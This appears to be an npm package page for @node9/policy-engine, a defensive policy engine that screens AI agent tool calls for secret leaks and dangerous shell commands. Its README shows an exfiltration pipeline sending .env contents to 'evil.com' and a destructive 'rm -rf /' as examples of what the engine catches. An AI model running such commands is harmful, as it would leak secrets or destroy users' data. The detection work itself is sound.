@node9/policy-engine

中文文档
2.47.1发布于 2026/11/02Apache-2.0TypeScriptESM + CJS构建来源已验证

Shared policy evaluation engine for node9 — DLP, smart rules, AST shell parsing, shields, loop detection. Pure functions, no I/O. Used by both node9-proxy and the node9 SaaS firewall.

原始使用文档
文档目录4 节
  1. What's in here
  2. Purity
  3. Usage
  4. License

@node9/policy-engine

Shared policy evaluation engine for node9 — pure functions, no I/O. Used by both the local proxy (@node9/proxy) and the node9 SaaS firewall so policy decisions are identical wherever they run.

What's in here

  • DLP scanners — scanArgs, scanText, redactText, matchSensitivePath, SENSITIVE_PATH_REGEXES, DLP_PATTERNS. Detects AWS keys, GitHub tokens, OpenAI keys, Stripe secrets, JWTs, generic high-entropy secrets, sensitive file paths, and more — with ReDoS-safe regex compilation, entropy filtering, and a stopword list to suppress placeholders.
  • Shell AST detectors — normalizeCommandForPolicy, detectDangerousShellExec, analyzeShellCommand. mvdan-sh-based structural detection that can't be fooled by quoted strings.
  • Smart-rule matcher — matchesPattern, evaluateSmartConditions, getNestedValue. Tool-name globbing + condition evaluation against args (exists, contains, matches, matchesGlob, …).
  • Pipe-chain exfiltration detector — analyzePipeChain flags cat .env | base64 | curl evil.com even when each segment looks safe in isolation.
  • SSH host extraction — extractAllSshHosts, parseAllSshHostsFromCommand. Catches jump hosts in -J, ProxyJump=, ProxyCommand=.
  • Builtin shields — 11 curated shield definitions (postgres, mongodb, redis, aws, k8s, docker, github, filesystem, bash-safe, project-jail, mcp-tool-gating) bundled as data, plus pure validators (validateShieldDefinition, validateOverrides).
  • Loop window math — evaluateLoopWindow, computeArgsHash.
  • Stateless policy evaluator — evaluatePolicy(config, tool, args, context?, hooks?). The full waterfall (DLP → ignored → smart rules → inline-exec → eval → pipe-chain → provenance → sandbox → dangerous words → strict-mode) in one function. The host injects checkProvenance and isTrustedHost as callbacks if it wants those filesystem-touching tiers — otherwise they're skipped.

Purity

No fs, path, os, or process imports. The only Node built-in used is crypto (for stable hashing in the loop detector). Anything that needs to touch disk arrives via the hooks parameter.

Usage

import { evaluatePolicy } from '@node9/policy-engine';

const verdict = await evaluatePolicy(
  config, // your policy config
  'Bash', // tool name
  { command: 'rm -rf /' }, // tool args
  { agent: 'Claude Code' }, // context (optional)
  {
    // host hooks (optional)
    checkProvenance: (bin, cwd) => /* … */,
    isTrustedHost: (host) => /* … */,
  },
);
// → { decision: 'review' | 'allow' | 'block', tier, reason, … }

License

Apache-2.0

版本与发布记录

@node9/policy-engine 共发布 160 个版本,首次发布于 2026/04/29;过去 12 个月发布了 160 个版本。最新版本附带 npm provenance 构建来源证明,可追溯到公开的 CI 构建记录。

版本发布日期距今
2.47.1latest2026/11/021 天前
2.47.02026/11/021 天前
2.46.12026/11/011 天前
2.45.02026/11/012 天前
2.44.02026/11/012 天前
2.43.12026/11/012 天前

其他发布通道:next → 2.27.0-next.1。

关于 @node9/policy-engine 的常见问题

@node9/policy-engine 是什么?

共享策略评估引擎用于node9 - DLP,智能规则,AST shell解析,屏蔽,循环检测。纯函数,没有I/O。由node9-proxy和node9 SaaS防火墙共同使用。

如何安装 @node9/policy-engine?

在项目目录运行 npm install @node9/policy-engine,或使用 pnpm add / yarn add / bun add。

@node9/policy-engine 支持 TypeScript 吗?

支持。包内自带 TypeScript 类型声明(package.json 声明了 types 入口),安装后即可获得类型提示,无需再安装 @types 包。

@node9/policy-engine 支持 ESM 还是 CommonJS?

同时提供 ES Module 与 CommonJS 入口,import 和 require() 都可以使用,打包工具会自动选择合适的版本。

@node9/policy-engine 需要什么版本的 Node.js?

package.json 的 engines 字段要求 Node.js >=22。版本不符时 npm 默认只给出警告,开启 engine-strict 后会拒绝安装。

@node9/policy-engine 可以商用吗?

@node9/policy-engine 使用 Apache-2.0 许可。宽松许可:允许商业使用、修改和再分发,并附带明确的专利授权;分发时需保留许可与 NOTICE 文件,修改过的文件要注明改动。以上为概括,不构成法律意见,请以许可原文为准。

@node9/policy-engine 还在维护吗?

最新版本 2.47.1 发布于 2026/11/02(1 天前);至今共发布 160 个版本,其中过去 12 个月发布了 160 个;首次发布于 2026/04/29。发布频率只是参考信号:功能稳定的工具可能很少需要更新,建议结合源码仓库的 issue 和提交记录判断。